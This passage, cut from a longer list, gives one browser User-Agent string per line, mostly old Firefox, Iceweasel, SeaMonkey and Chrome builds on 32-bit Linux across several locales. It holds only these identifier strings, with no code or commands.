Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061023 SUSE/2.0-41.1 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9) Gecko/2008061015 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 SUSE/3.0-0.2 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.1 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.1) Gecko/2008091621 Gentoo Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.12 (Debian-3.0.12-1)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009061613 CentOS/3.0.11-2.el5.centos Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.19) Gecko/2010120923 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008103100 SUSE/3.0.4-4.6 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008111616 Ubuntu/9.04 (jaunty) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-1.1 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Ubuntu Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032811 Firefox/3.0.7 (GNU/Linux)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 Mnenhy/0.8.2 SeaMonkey/2.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.19) Gecko/20110430 Iceweasel/3.5.19 (like Firefox/3.5.19)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.5) Gecko/20091112 Iceweasel/3.5.5 (like Firefox/3.5.5; Debian-3.5.5-1)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101203  Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101221 IceCat/3.6.13 (like Firefox/3.6.13) (Zenwalk GNU Linux)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.0.3) Gecko/2008092921 IceCat/3.0.3-g1\nMozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; en-GB) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.6) Gecko/20040113\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20050920 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060605 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060805 CentOS/1.0.3-0.el4.1.centos4 SeaMonkey/1.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060913 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20061031 BonEcho/2.0\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20070110 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.17) Gecko/20080827 Iceweasel/2.0.0.17 (Debian-2.0.0.17-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.17) Gecko/20080925 Fedora/1.1.12-1.fc9 SeaMonkey/1.1.12\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070417 Fedora/2.0.0.3-4.fc7 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070730 SUSE/2.0.0.6-2.1 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20060601 Firefox/2.0.0.8 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008052909 Firefox/3.0 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008060309 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020414 CentOS/3.0.6-1.el5.centos Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.1 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030814 Iceweasel Firefox/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030814 Iceweasel/3.0.9 (Debian-3.0.9-1)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032710 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.11) Gecko/20100819 Iceweasel/3.5.11 (like Firefox/3.5.11)\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0\nMozilla/5.0 (X11; U; Linux i686; en-NZ; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1\nMozilla/5.0 (X11; U; Linux 